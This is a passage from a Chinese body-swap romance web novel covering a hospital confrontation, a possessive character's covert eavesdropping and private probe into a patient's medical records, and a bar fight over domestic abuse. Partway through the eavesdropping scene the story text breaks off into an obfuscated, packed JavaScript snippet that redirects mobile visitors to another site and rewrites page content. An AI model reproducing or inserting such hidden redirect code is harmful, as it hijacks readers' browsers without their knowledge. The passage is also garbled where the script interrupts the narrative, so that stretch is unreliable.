然而,预想中沈恪更崩溃的哭泣并没有到来。 沈恪那双还泛着红的眼睛,渐渐失焦,一种混合着巨大委屈的愤怒,以及被轻慢对待的受伤情绪,一点点涌了上来。他吸了吸鼻子说话还带着浓重的哭腔,却比之前激动了许多: “至于吗?你问我至于吗?!” “因为真正因为这个身体难受、害怕、躲躲藏藏的人不是你!被人在背后指指点点、被当成异类看待的人也不是你!从小到大因为这个不敢去公共浴室、不敢住校、不敢交朋友、不敢体检、甚至连厕所都不敢上的人更不是你!” 他的声音越来越高,眼泪又涌了出来。 “你当然觉得不至于!你只用了一会儿!你当然可以轻飘飘地说多点东西而已!可这是我的人生!我全部的人生都被它困住了!” 他抬起手臂,胡乱地抹了一把脸上的泪水,眼睛红红地瞪着温清然: “你凭什么……你凭什么这么轻易地说不至于?你根本什么都不懂!” 沈恪的声音颤抖着,带着一种近乎绝望的控诉:“我好不容易……爸爸妈妈好不容易攒够了钱,好不容易马上就要做手术了……我以为我终于可以像个正常人一样生活了,再也不用提心吊胆,再也不用把自己藏起来……可是!可是我却变成了你!” 最后几个字,他几乎是喊出来的,带着无尽的不甘。 温清然被他这一连串的激烈反应给弄得愣了一下。看着对方哭得上气不接下气的样子,他下意识地啧了一声,心里那点逗弄的兴味淡了些,反而升起了麻烦的感觉。 他习惯的是别人的恐惧、谄媚或者愤怒,但这种掺杂着巨大个人伤痛,而且听起来确实挺惨的控诉,让他有点不知道该怎么接。 “行了行了,别哭了,”他有点生硬地安慰道,语气算不上温柔,更像是不耐烦,“哭有什么用。手术以后再做不就行了。” 这敷衍的安慰显然没什么用,沈恪的眼泪掉得更凶了。 温清然看着他哭红的鼻尖和不断掉落的泪珠,忽然觉得有点烦躁,又有点别的好奇。他摸着下巴,目光在沈恪因为哭泣和激动而泛红的脸颊上转了转,一个念头突兀地冒了出来。 对啊,转移话题不就行了吗。他这个性子,整点红橙绿青蓝紫的话题估计就会把这事忘了。 他凑近了些,刻意忽略了对方还在哭泣的状态,语气里带着探究: “喂,我说,看你这样……你应该还没试过吧?” 沈恪还沉浸在悲伤和愤怒里,被这突兀的问题问得一懵,抬起泪眼茫然地看着他:“试过什么?” 温清然勾了勾嘴角,那种恶劣逗弄的兴趣似乎又回来了一点: “男人的滋味啊。健康的,放肆的,想做什么就做什么的感觉,你不想试试?” 14. 口嗨渣男 虽然这招恶俗至极,甚至带着股令人不适的轻佻油腻感,但确实有效。 沈恪本能地感到下头,可对方那过于露骨的话语还是猝不及防地熏红了他的耳廓和脸颊。 “……你到底都在说什么乱七八糟的啊!”他声音拔高了些,带着明显的恼意和不知所措,整张脸迅速涨红,如同烂熟的番茄。 怎么会有人能这么理所当然地说出这种不要脸的话的! 温清然对他的反应更感兴趣了,他非但没被劝退,反而凑近了些,变本加厉地问道:“按理来说不应该啊。我们换过来的时间差不多。你变成我的时候,白越那小子没对你做点什么?” 沈恪的理智被“男人的滋味”和“做点什么”这几个词炸得七零八落,一时间没转过弯,只茫然地重复:“做什么?” 温清然看着他这副纯然懵懂的样子,难以置信地发问:“你顶着我的壳子,跟他谈了这么久,没觉得那家伙不对劲?” 白越能有什么不对劲的,要我看你才不像正常人呢。 沈恪蹙了蹙眉,正要反驳,就被温清然一个手势打断: “我识人无数,谈的重男重女不少,看得肯定比你清楚。白越那人,我虽然跟他处的时间不算长,但他绝对是个超级性压抑。这种人要么不开窍,一旦开窍了,控制欲和占有欲高得能吓死人。” 他顿了顿,语气里带上了劫后余生般的感慨,甚至拍了拍胸口:“再给我一次机会我绝对不招惹他。你知道之前半个月你没来找我,一点动静都没的,那会我咋想的不?我以为你被他做掉了,还想着等啥时候能出院了就去给你立个碑扫扫墓……” 他上下打量着沈恪,眼神像是在看什么奇迹,然后长长地啧了一声,吐出一句石破天惊的话: “结果你居然没死。看到你不仅活着而且还没缺胳膊断腿,我还以为你已经被他做过了。” !!! 砰的一下,温清然那句话就像是烟花炸开在沈恪的耳朵里,震颤着连带着身体都止不住地颤抖,眼神游离不定。 做……做掉了?做、做过了??? 这两个词,尤其是后面那个,狠狠烫在他的耳膜与神经之上。沈恪的脑海里不受控制地闪过一些模糊的、令人面红耳赤的遐想,又被他惊慌地扇跑,只剩下了本能的羞耻和恐慌。 “你你你……”他指着温清然,嘴唇哆嗦着,却连一句完整的话都拼凑不出来。脸上一阵红一阵白,最后定格在一种快要烧起来的深红,连脖子和耳朵都被红色浸透了。 “胡说八道!不可理喻!!脸皮庞厚!!!”他终于找回了自己的声音,整个人又急又气,“白越他、他才不是那种人!你怎么可以……怎么可以用这么恶心的词说他!也这么说我!” 他和白越?那个会因为他一点不舒服就紧张的白越?怎么可能做那种事情!而且,性压抑?控制欲占有欲?温清然在胡用什么乱七八糟的词汇去揣测白越!白越明明那么温柔,那么好,连接近他都是小心翼翼的……怎么可能会是温清然嘴里那种充满扭曲欲望的样子! 温清然看着他这副气得跳脚的模样,不但没觉得自己被骂了,反倒笑得肩膀都抖了起来: “哎呦我小楚南就是好玩。看你这架势,你俩连嘴都没亲过咯?” 亲? 沈恪下意识地抬手,指尖碰了碰嘴唇。他和白越……接吻?那个落在脖子上的轻吻带来的痒痒的感觉忽然清晰起来,让他心跳乱了一拍。他慌忙摇头:“当、当然没有!怎么可能!” “是吗?”温清然的笑容变得有点古怪,“那就是连手都没好好牵过了。” 这个……好像还真有! 沈恪的气势一下子弱了下去。 他们是牵过手的。白越的手很暖和,牵着他的时候,会很轻地握紧…… 想到那些,沈恪的脸更红了,他不由自主地低下头,盯着自己的脚尖,不敢看温清然。 “看来是牵过了。你俩进度还挺快啊?”温清然有些不爽地嘲弄道,“我和他处了那么久,连他手指头都没碰到。那怪胎,碰他一下就跟要杀他妈一样。” 说话真是有够粗鲁的。 听到温清然用这种嫌弃的语气说白越,沈恪很是愤懑不平。 “你那么对白越!把他当打赌的目标!追到手了又不珍惜!他当然对你有防备!”沈恪抬起头,声音也大了些,“你活该!你根本就不懂他!” 温清然被他吼得一愣,随即举起双手,做了个投降的姿势,脸上却没什么歉意,只有无奈:“我靠讲点道理好不好,我才是最惨的那个好吗?差点小命都没了!哦好像也不对,应该是已经没了,那我为什么又活了。怪事儿。” 他摩挲着下巴:“说起来我这算啥?穿越?重生?还是灵魂互换?” 说什么乱七八糟的人类听不懂的玩意儿呢。 沈恪仍气鼓鼓地瞪着他,腮帮子微微鼓起。 他才不会信这个渣男的话。白越那么好,那么温柔,一定是温清然做了特别坏的事。 就在两人一个生气一个装无辜的时候—— “哥!好久不见啊看我给你带什么好东西来啦!《名侦探柯南》的大结局漫画!哼哼哼哼我牛不牛快来膜拜我!” 清脆欢快的声音伴随着门被推开的声音响起。 沈霏一手拎着零食袋,一手高高举着漫画书,出现在门口。 她穿着白色的衣裙,上面点缀着几点红花,看起来白更白,红更红,笑容灿烂,明艳如阳。 然后,她的笑容僵住了。 她看到她那个常年待在病房里的病弱哥哥,正坐在床边。而床边的椅子上,坐着一个她从没见过的长得挺好看但脸红得像苹果的陌生金毛。两人之间的气氛怪怪的,好像刚吵过架,又好像不是。 尤其是她哥脸上那副看好戏似的坏笑,更是让她心里直打突突。 她哥什么时候会这样笑了? 他不是病弱阿宅那一挂的吗?!这种又痞又坏的笑,根本不该出现在她哥那张苍白乖巧的脸上啊! 你OOC(角色人物性格崩坏)了啊! 关门。 她看了眼病房门牌上的605,确认自己确实没走错,那就一定是昨天熬夜看男同小说看入迷了没睡好。 开门。 那个陌生的金毛还在里面,脸好像比刚才更红了,一副手足无措的样子。她哥笑得一脸促狭。 关门。 沈霏做了个深呼吸。不对劲,绝对不对劲。难道不是男同小说的问题,是戴的眼镜叛了变? 再开门。 这次,门只开了一条缝。她扒着门缝,小心翼翼地往里瞧。就在她犹豫着要不要改天再来的时候,一只手忽然从门内伸了出来,轻轻按住了门板边缘,阻止了她关门的动作。 是那个陌生金毛。 金毛身后,“沈恪”脸上的坏笑更深了,语气调侃: “呦,咱妹来了。你傻愣着干嘛?说句话啊,介绍介绍。” “……” 沈恪感觉自己的舌头像是打了结,脑袋里一片空白。面对妹妹探究又困惑的目光,他张了张嘴,却只发出一个无意义的音节:“我……” 沈霏看看笑容诡异的哥哥,又看看满脸通红的金毛,更困惑了。她迟疑着,最终还是走进了病房,零食袋子被随意放在床头柜上,自己则坐到了隔壁的病床上。 “哥?你没事吧?”她看向温清然,语气里充满了不确定,“还有这位是……?” 沈恪深吸一口气,强迫自己冷静下来。 冷静,沈恪,冷静! 你现在是温清然!一个对小霏来说完全陌生的人! 他反复默念着,试图用这个事实压住心底想要立刻冲上去告诉她“哥哥在这里”的冲动。他太了解沈霏了,这丫头看着活泼开朗,胆子其实不大,尤其怕那些神神鬼鬼的事情。 绝对不能直接摊牌!更不能说什么“哈哈其实你哥就是我,我就是你哥,我和你哥我俩灵魂互换啦,现在你该管你哥叫我的名字管我叫你哥的名字了”之类的鬼话! 沈恪几乎能想象出那个画面:妹妹会瞪大眼睛,然后像无糖全麦面包一样尖叫一声,再以百米冲刺的速度跑出去叫医生和保安,最后把他们俩一起打包,直接扭送到隔壁精神科……说不定还会惊动爸妈,把事情闹得更大,更无法收拾。 不行,绝对不行! 沈恪努力挤出一个还算友好的微笑,对着沈霏打了个招呼: “你好,我是温清然。是你哥的同……”想到自己在小学后就再没进过学校,沈恪生硬地改了口,“朋友。” 温清然眉毛一挑,嘴角那抹坏笑扩大了些。 嘿?他说的啥?朋友? 这小子,倒是挺会给自己找身份定位。只是这副柔柔弱弱的样子跟他现在顶着的那张张扬脸蛋可不太配。 不过既然要玩,那就玩点更有趣的嘛。光是朋友多没意思。 他像是发现了超好玩的事情,直起身,忽然伸手,一把搂过沈恪的肩膀,动作自然又亲昵。然后对着目瞪口呆的沈霏,露出了一个爽朗的笑容,用沈恪那清朗的声音,欢快地说道: “老妹来得正好!来,哥给你介绍一下。” 他拍了拍沈恪僵硬的肩膀: “这可不是普通朋友哦,是你哥我的小媳妇。我偷偷交的小男朋友。怎么样,帅吧?” 沈恪:!!! 这渣男又在乱说什么天打雷劈的胡话!!! *** 医院楼下的小花园,树影摇晃。 白越独自坐在一张长椅上,膝头摊着一本厚厚的书,戴着无线耳机,似乎在安静地看书。 阳光落在他身上,显得他安静又美好。 谁都想不到他此刻干的却是监听的活。 耳机里传来的,是病房里清晰的对话。 从沈恪带着哭腔的“求你”,到温清然恶劣的捉弄,再到沈恪又羞又急的否认和控诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265383|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以及维护自己的话语,最后,是门被推开的声音,少女清脆的嗓音,以及—— 温清然用沈恪的声音,愉快地宣布: 【“我偷偷交的小男朋友。”】 紧接着,是沈恪慌乱的斥责,和沈霏那句“哥你今天怪怪的”。 呲。 书本被撕下一页。 白越看着那张纸,缓缓地、深深地吸了一口气。 他和温清然相处的那两个月,早就把这个人调查了个透彻。虚荣,肤浅,喜欢吸引别人的注意力,像只到处炫耀的花孔雀,典型的表演型人格。 他清楚地知道温清然是什么德性。所以,当听到对方用沈恪的身体、沈恪的声音,说出那样的话时,他并不意外,甚至可以说是预料之内。 他只是觉得……非常,非常,不愉快。 为什么宝宝身边总是会围绕着这些嗡嗡作响、不知死活的苍蝇呢。 阳光晃眼。 他忽然抬起手,将膝头那本书拿了起来,然后轻轻盖在了自己的脸上。 粗糙的纸页挡住了刺目的光线,也彻底隔绝了外界,将他所有可能泄露的情绪都封存在了一片油墨味的黑暗里。 他就这样静静地坐着,摊开手臂。 耳机里,病房内的声音还在继续,有沈霏疑惑的追问,有沈恪焦急又笨拙的解释。 白越藏在书本下的嘴唇,轻轻抿了一下。 他的小鹌鹑……被欺负了。 还被那只劣等又聒噪的孔雀,用他最在意的家人,故意摆在了如此难堪的境地。 真不乖。 也……真让人,想立刻冲进去,把他紧紧藏起来,关起来,让谁也看不到,谁也碰不到,让那些该死的苍蝇永远飞不进他的世界。 但还不是时候。至少,不是以这种方式。 白越保持着那个姿势,长长地呼出一口气,仿佛要将胸腔里翻涌的暴戾和阴冷暂时压制下去。然后,他保持着书本覆面的姿态,空闲的那只手摸索着,从口袋里取出手机。 指尖在屏幕侧边轻轻一按,唤醒了语音助手。 “电话拨给173……” 手机屏幕亮起,显示正在呼叫。很快,电话接通。 “少爷?” 白越的声音透过书本,有些低沉模糊,却依旧清晰:“王叔,是我。” “是,少爷请吩咐。” “麻烦帮我查一个人。这次不是什么违法乱纪的事,您放心,我有分寸。” 他顿了顿,报出信息,语速平稳:“A市中心医院,心外科住院部,605室。患者姓名,沈恪。” “沈恪……”电话那头的王叔重复了一遍,似乎在记录,“好的少爷。需要调查到什么程度?” “基础信息,家庭情况,直系亲属社会关系与职业。详细的病史,尤其是入院前后的诊疗记录、手术同意书副本、用药清单。从入院当天起至今的所有探视登记记录,包括时间、来访者姓名身份证号、与患者关系。他历年的体检报告,特别是近三年的。主治医生及责任护士的排班和背景。如果医院内部信息系统有患者或家属填写的任何满意度调查或投诉记录,也一并调取。” 白越的声音平稳,清晰,条理分明,没有一丝停顿或犹豫,就好像这是他早早便计划好要调查的东西一样。 “所有能查到的、公开或不那么公开的边缘记录或内部备注,我都要。整理成清晰的报告,标注信息来源的可信度等级,传到我的私人加密邮箱。” “少爷,”电话那头的王叔声音愈发慎重,“涉及医疗内部记录和医护背景,调查需要一定的接触面,也可能会留下一些非正式的查询痕迹。您确定……” “按我说的做。” “明白。我会尽快。” “还有一件事,麻烦您以我的名义,联系一下中心的王院长。就说……我对他们医院特殊病房的安保和探视管理流程,有一些个人意见想与他沟通。特别是关于,非直系亲属在探视与非探视时间的准入审核,以及患者个人信息保护的落实情况。” 电话那头沉默了两秒,王叔的声音再次响起,更加谨慎:“少爷,您是指……” “我只是觉得,有些流程或许存在疏漏,可能让不该靠近的人,靠近了不该靠近的病人。”白越的声音透过书页传来,听不出喜怒,“这不利于患者康复,也让我这位关心朋友的人,感到有些不安。请王院长方便时,务必给我回个电话。” “是。我立刻去办。” “辛苦。” 电话挂断。 白越依旧保持着以书覆面的姿势一动不动。手机被他握在掌心里,屏幕渐渐暗了下去。 粗糙的纸页下,无人看见的黑暗中,白越的嘴角掠过一抹讥诮的笑。 他的小鹌鹑不乖,飞到了有苍蝇的地方。 那么,他就把那个地方清理干净。把苍蝇拍死,把笼子修得更坚固。 然后,再把他……好好地,带回来。 15. 阴魂不散 关于男朋友的争执没持续太久,很快便有护士赶了过来,面色带着些许尴尬:“不好意思,探视时间到了。” 沈恪一愣,下意识道:“诶?我记得只要登记好信息,特殊病房是可以呆一天的啊?” 沈霏也懵了:“我也要走吗?” “对。” “这是刚接到的通知,规定修改了,也是为了保障其他患者的休息环境。” 病床上的温清然立刻探出头,很是不乐意:“我不想他们走!他们走了谁陪我玩!” “不行。”护士语气坚决。 沈霏看看金发男生又看看床上反常的哥哥,脑子里灵光一闪,脱口而出:“等等,你怎么知道以前可以呆一整天?我哥住院这么久,我从来没见过你啊!你俩该不会是背着我暗通款曲吧?!” “说什么呢!” “我去神探!” 沈恪和温清然几乎同时出声。 沈恪头疼地揉了揉太阳穴,他转向护士,放软了声音恳求:“再给我们五分钟,可以吗?就说几句话,很快。” 护士看了看时间,又瞥了一眼病床上那位难搞的病人,勉强点了点头:“五分钟,不能再多了。”说完,她退到门边,但并未离开。 沈恪走到病床边,瞅了一眼还杵在门口的两人,只得在温清然身旁坐下,凑近他耳边,飞快地低声说:“我国庆假期都会在A市,一有空就会来看你的,就我一个人。我们好好商量吧?看看怎么把身体换回去。” 温清然诧异地挑眉:“你一个人?白越没跟着你来?” 沈恪一噎,耳根有些发烫。 拜托,不要再提醒他把白越丢在C市的事了…… 他摇了摇头。 温清然的眉头倏地皱紧,方才的嬉笑神色褪去,取而代之的是忌惮:“按理说不应该啊,就他那个粘人程度,明明对我没啥感情还要装得那么像,对你……” 他咂了咂嘴,“我忽然有种不太好的预感。” “怎么了?” 温清然没立刻回答,而是盯着沈恪看了几秒,忽然伸手,在他那头醒目的金发上胡乱揉了一把:“嘿,别说,顶着这头金毛,看着还挺喜庆哈!” “!”沈恪被这突如其来的亲昵动作弄得下意识就想后退。 温清然却更快地攥住了他的手腕,脸上又挂起那副笑眯眯的算计表情:“诶,别急着走。商量事儿总得有个联系方式吧?给我买个手机呗,顺便办张卡。我每天躺这儿不是看电视就是看天花板,无聊得都快长蘑菇了。你怎么连个手机都没有,真够闷的。” 沈恪抿唇。 光是吃特效药就几乎掏空了家底,每一分钱都要精打细算,哪来的闲钱买手机。 温清然瞥了一眼门口沈霏那身素净的衣着,恍然大悟:“对喔,忘了,你家穷。” 冒犯的家伙你真的很冒犯! 沈恪心里那股替白越不值的感觉又冒了出来。白越好歹也算出身优渥,怎么就喜欢上这么个既下头又没分寸感的家伙? 他叹了口气,认命般道:“买个便宜的诺基亚行不行?我预算……最多四百。” 说出来他自己都有点窘迫。 温清然像是听到了什么笑话:“四百?那你来A市的路费哪来的?别告诉我你是走过来的。” “……蹭祈愿的车来的。” “呦呵?”温清然眉梢一挑,“他们也来A市了?” “嗯。你想见见吗?”沈恪问。 毕竟祈愿是他关系最近的发小,他们应该关系很好才对。 温清然的声音瞬间冷了下来,斩钉截铁,“完全不想。” 沈恪愣住:“你们不是好朋友吗?” “你少管我。” “……哦。” 温清然指了指他的口袋:“你刷我的卡不就行了?反正绑的都是我的卡,又不用你还。别告诉我,你穿过来这半个多月,真的一分钱没动过?” “饭卡用了,”沈恪声音更低了,“等我换回来之后,会想办法还你的……” “用别人的钱不好意思,”温清然忽然凑近,似笑非笑地盯住他的眼睛,“用我的身体,就好意思了?” 沈恪脸颊一阵发烫,张了张嘴,却无法反驳。他恼羞成怒地反问:“我也不想用你的钱的!而且你之前明明暗示过有办法可以换回来的!” “时间到了。”门口的护士适时地咳了两声,提醒道。 温清然冲护士随意地摆了摆手,目光回到沈恪气得发红的脸上,嘴角勾起:“哦,那个啊……骗你的。” 他怎么又在骗人! 沈恪呼吸一滞,整个人像被抽空了力气,眼圈瞬间红了,死死瞪着温清然,胸膛剧烈起伏。 看着他这副快要气哭却又强忍着的模样,温清然脸上的恶劣笑容淡了些。他移开视线,望向窗外,语气恢复了那种漫不经心:“有点头绪,但还不确定。回头我自己先试试,有谱了再告诉你。” 他重新看向沈恪,摆了摆手,像打发什么麻烦似的:“让你妹把漫画留下,你俩可以走了。我要补觉了。” 这个人……简直莫名其妙到了极点!情绪切换毫无征兆,说话颠三倒四,永远猜不透他哪句是真哪句是假! 沈恪攥紧了拳头,最后瞪了温清然一眼,愤愤地转身走向门口。 沈霏看看金发男生怒气冲冲的背影,又看看病床上已经躺下、用被子蒙住头的哥哥,满心疑惑,但还是把带来的漫画书放在了床头柜上,跟着护士和沈恪一起离开了病房。 *** 电梯下行,狭小的空间里气氛有些凝滞。 沈霏偷偷瞄了几眼身边这个陌生的哥夫。他长得是挺帅,但此刻紧抿着唇,眉头微蹙,侧脸线条绷着,显然心情极差,一定是因为和哥哥吵了架。 她鼓起勇气,掏出手机,声音放得很轻,试图为哥哥奇怪的冷淡和恶劣态度找补:“那个,呃,哥夫?我们加个微信吧?我哥他可能是手术的后遗症,最近有点怪怪的。你们不要吵架啊。” 沈恪看着妹妹带着歉意的眼神,心中酸涩难言。 不过他什么也没多说,只是强扯出一个笑容,拿出温清然的手机,扫了妹妹的二维码。 “我们不是情侣,吵架是因为别的事。”他干巴巴地说,“有空常联系。” “嗯嗯!”沈霏用力点头,通过了好友申请,备注“金毛哥夫(疑似)”。 然后丢进了“有点问题”的标签之下。 走出住院大楼,阳光有些刺眼。沈恪长吁了一口气,胸腔里却依然堵得慌。 抬头望了望住院部高层的某个窗口,性情复杂。 温清然有他讨厌和恶劣的一面,但他拥有的,是沈恪曾经梦寐以求的东西——健康的体魄,自由的行动能力,关系亲近的朋友,甚至是优渥的经济条件。而沈恪自己那具身体,承载的除了孤独与病痛,还有沉重的经济负担和家人的忧虑。 他其实,真的真的很羡慕。 *** 病房内。 温清然并没有睡。他掀开被子坐起身,拿起沈霏留下的漫画翻了翻,又扔到一边,脸上没什么表情。直到床头柜上的座机电话突兀地响起。 “叮铃铃——” 铃声在安静的病房里显得格外刺耳。 温清然懒洋洋地接起:“喂?哪位?今天的接待名额已满……呃?!” 电话那头传来一个熟悉到让他脊背发凉的声音,平淡,温和,却带着无形的压力:“您好,沈先生。我来探视。” 温清然手一抖,话筒啪嗒一声掉在地上。他手忙脚乱地捡起,对着话筒吼道:“不接!我不认识他!别让他上来!”然后不等对面回应,狠狠挂断了电话。 “嘟嘟嘟——” 忙音回荡。 他靠在床头,脸色有些发白,胸口微微起伏。几秒钟后,他才嗤笑一声,抹了把脸,低骂:“靠,真他妈阴魂不散……” *** 沈恪手里提着新手机,站在医院门口。尽管反复自我安慰这是为了联系需要,但那种借用他人身份使用他人财物的负罪感,依旧挥之不去。 他再次拨通了病房的座机。 响了很久才被接起,温清然的声音听起来有点被打扰的不耐烦:“干毛?又想刀我一次?” 刀什么?沈恪敛了敛眉,这温清然说话怎么总是东一茬西一茬的: “手机我买好了,我现在给你送上来吗?” “是你啊?不用送上来了。”温清然拒绝得干脆利落,“你放护士站,我晚点自己想办法拿。” 沈恪默然。才过了不到两小时,对方的态度又变了个样。但他也懒得深究了,和温清然打交道,随时都要做好对方突然发癫的准备。 “行吧。”他妥协,“记得加VX,账号就是你手机号。我们在网上聊。” 温清然在电话那头含糊地应了两声,不等沈恪再说,直接挂断。 听着话筒里的忙音,沈恪叹了口气。现在,他该去哪里?又能做什么? 他来A市的唯一目的就是换回身体,现在不仅毫无进展,反而被温清然捏住了把柄。 一股深深的无力感和迷茫席卷了他。 他下意识地掏出自己的手机,解锁。屏幕亮起,VX置顶的聊天框依旧停留在昨天他发出去的那条:【我到A市啦![照片.jpg]】 白越没有回复。 他是不是真的生气了?明明出发前,白越那么明确地表示过不想让他单独来…… 指尖在屏幕上悬停了许久,沈恪还是点开了对话框,犹豫着打字: 【然】我睡醒啦! 消息发出去后,他紧张地盯着屏幕。没想到,几乎是在下一秒,备注为“白越”的对话框顶端就变成了“对方正在输入…”。 【白越】已经十点钟了宝宝,昨晚没有熬夜吧? 【然】没有的事! 其实是熬了,查资料、胡思乱想,直到一点才勉强入睡。 【白越】早饭吃过了吗? 【然】吃啦! 其实根本没吃,从酒店出来就直奔医院,哪里顾得上。 【白越】好噢。那宝宝有遇见什么好玩的事吗? 沈 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白越那边沉默了片刻。这几秒钟的停顿,让沈恪莫名感到一阵心悸。 【白越】安阳和顾云岚都在? 【白越】宝宝,你和祈愿在哪呀? 祈愿在拍照,而他在医院门口,他们当然不可能在照片里。 沈恪强行镇定,继续打字: 【然】我在拍照呀,祈愿去卫生间了。 希望能蒙混过去。 又是短暂的沉默。 【白越】这样啊…… 【白越】那宝宝你玩哦,不打扰你了。 白越的语气依旧温柔,但沈恪的心却沉了下去。白越没有像往常那样追问细节,就这么干脆地结束了话题。 他果然……还是生气了吧。生气自己不告而别,生气“阿然”又去鬼混。 沈恪有些垂头丧气地收起手机,拦了辆出租车,报出祈愿发来的定位地址。 算了,先去找祈愿他们吧。至少在那里,他暂时不用绞尽脑汁地编织谎言。 *** 台球厅里光线昏暗,烟雾缭绕,混杂着球杆撞击声和喧哗。 沈恪提着在便利店买的一袋饮料,穿过略显拥挤的过道,很快找到了祈愿他们那桌。然而,气氛却不太对劲。 球桌旁围了五六个人,为首的是个满脸横肉的大高个,穿着紧身白T,露出的胳膊上纹着狰狞的图案,此刻正满脸通红,喷着酒气,手指几乎要戳到祈愿鼻子上:“你|他|妈谁啊?老子教训自己女人,关你屁事!轮得到你在这儿充英雄?!” 他旁边站着一个瘦小的女生,脸色煞白,左脸颊上有个清晰的巴掌印,正含着泪,怯生生地拉着男人的胳膊:“算了,我们走吧!你喝了酒,别惹事了……” “滚开!”男人反手一挥,女生被他推得一个趔趄,差点摔倒,眼泪瞬间涌了出来。 沈恪连忙上前两步扶住女生,眉头紧紧皱起:“你还好吗?没事吧?” 女生惊慌地摇头,眼泪扑簌簌往下掉:“我、我没事。我听说他喝多了开车出来玩,怕他出事才找过来的……” 沈恪看着她脸上的掌印,心里一阵发堵。 打对象的男人最差劲了。 他将女生护到身后一点,从塑料袋里拿出一瓶冰镇矿泉水,拧开递给她:“给你,你先敷一下脸吧,都肿了。很疼吧?” 与此同时,他悄悄后退几步,挪到台球厅相对安静的入门角落,迅速掏出手机,压低声音拨打了一个号码: “喂?您好?……嗯,对,我要报案。地址是A市XX区XX路撞击台球厅,这里有人醉酒闹事,动手打人,而且我怀疑他可能服用了一些违禁药物,精神状态非常不稳定,有严重暴力倾向……对,现场情况比较混乱,可能危及他人安全……好的,我的电话是……麻烦你们尽快出警,谢谢你们,辛苦了。” 挂断电话,他走回女生身边,低声安抚:“别怕,我报警了。警察马上就来。” 谁知女生一听报警两字,身体抖得更厉害,声音带着绝望的哭腔:“不、不行!不能报警!被打了一巴掌而已,我没事的!” 沈恪愣住了。 他没想到会是这样的反应。他以为报警是最直接有效的解决办法。 女生的哭喊过于大声,那暴虐的男人猛地转过头,凶戾的目光锁定了沈恪和女生:“报警?他妈谁敢报警?!”他推开挡在前面的祈愿,摇摇晃晃地朝沈恪这边走来。 祈愿和顾云岚立刻上前拦住,安阳也抄起了旁边一根闲置的球杆,气氛瞬间剑拔弩张。 沈恪的心脏狂跳起来,手心沁出冷汗。他这才后知后觉地感到一丝后怕。 他是不是太冲动了?这个醉汉看起来不好惹,万一真有背景,或者事后报复…… 他护着女生又往后退了退,目光焦急地望向门口,期盼着警察能快点到来。 16. 复杂关系 “小白脸!你他妈找死!”男人被彻底激怒,酒气混着凶性上涌,不管不顾地抡起沉重的台球棍,就朝着距离他最近的祈愿砸了过去! 风声呼啸。 沈恪脑子嗡的一声,身体比意识更快。他猛地向前一扑,严严实实地挡在了祈愿面前! “砰!” 一声令人牙酸的闷响炸开。台球棍结结实实地砸在沈恪右臂上。 剧烈的疼痛瞬间沿着神经窜遍全身,骨头仿佛被重锤击碎。沈恪眼前发黑,闷哼一声,脚下踉跄,后背重重撞在冰冷的墙面上,震得五脏六腑都跟着发疼。 男人见一击被挡,怒火更盛,赤红的眼睛转向了沈恪。 “我都没他妈找你的事,逞鸡毛英雄!傻逼东西去死!” 他气急败坏地嘶吼着,竟将目标完全转移到沈恪身上。球棍带着风声再次扬起,比刚才更狠,直冲着沈恪的头部砸下! 旁边的几个小弟都被这变故吓懵了。 “狗哥!别打了!要出人命了!”一个小弟慌忙扑上来想抱住男人的腰。 “滚开!”男人一脚踹开小弟,面目狰狞,“老子今天就废了这小白脸!” 就在这千钧一发之际—— “我操你妈!”安阳的怒骂声和顾云岚上前格挡的动作同时发生。祈愿眼神一冷,直接一脚踹在男人侧腰,将他踹得一个趔趄,球棍挥空。 场面瞬间失控,眼见着老大受伤,几个看戏的小弟也顾不上这啊那的有的没的了,嗷地一声便举着球棍冲了上来。台球厅里瞬间陷入混战,只留下瑟瑟发抖的老板求着这几个大爷给他留几张好桌子好东山再起。 混乱中,祈愿挡开一个挥向沈恪的拳头,对他使了个眼色。 沈恪意会,道了句谢,忍着右臂钻心的疼痛,立刻拉住还在发抖的女生,趁乱挤出战场,一路跑到楼下人行道旁。 “对不起,连累你们了……”女生脸色惨白如纸,眼泪不断往下掉。 这一幕有些似曾相识。 分明是感情里的受害者,被暴力对待,被威胁恐吓,却还要先低下头,一遍遍说着对不起。 就像……白越。 沈恪脑海里蓦地闪过白越那张总是带着温柔笑意的脸,想起他在温清然面前可能露出过卑微的模样。 不该是这样的。 沈恪想。 即便他并没有任何恋爱经验,从小到大接触最多的就是家人和医护人员,但他也很清楚爱情不该是这种模样。 或许不如他偷偷看过的那些小说里描写的那般轰轰烈烈要死要活,但两个人在一起,至少应该是互相扶持、彼此温暖的吧?就像他爸妈那样,日子再难,也会为对方留一盏灯,热一口饭。 绝对,绝对不应该是这样。一方肆无忌惮地施暴、控制、践踏,而另一方却只能在恐惧和愧疚中不断道歉、不断自我贬低,甚至将这种扭曲的关系归咎于自己不够好。 这太不对了,这根本不是健康的情感。 他看着眼前哭泣的林未晚,又仿佛看到了那个可能也曾这样无助过的白越,心疼、愤怒与无力感,便充盈了整片胸膛。 他深吸一口气,声音虽然因为疼痛而有些虚,却很坚定: “该说对不起的不是你。”他看着女生,眼神干净而认真,“真正对你好的人,不会让你害怕,不会让你受伤,更不会在伤害你之后,还让你觉得是你自己的错。” 这句话,是说给林未晚听的。 也像是,隔着遥远的时空,说给那个曾经受伤的白越听的。 女生愣住了,泪眼婆娑地望着他,许久,才反应过来:“谢谢你,我叫林未晚。” 沈恪勉强扯出一个笑容,试图缓和下气氛:“名字也好听呀,未晚未晚,作出任何选择都为时未晚。” 他带林未晚去了便利店,买了杯热奶茶让她缓一缓。 林未晚捧着奶茶,指尖还在发抖:“可是……为什么一开始不是这样的呢?他以前也会帮我打热水,来接我下班……” 沈恪眨了眨眼,看着林未晚哭红的眼睛,自己的眉头也不自觉地皱了起来,好像切身感觉到了她的难过。他想了想,很认真地问: “那……他现在对你不好,让你很害怕,对不对?” 林未晚点点头,眼泪又掉了下来。 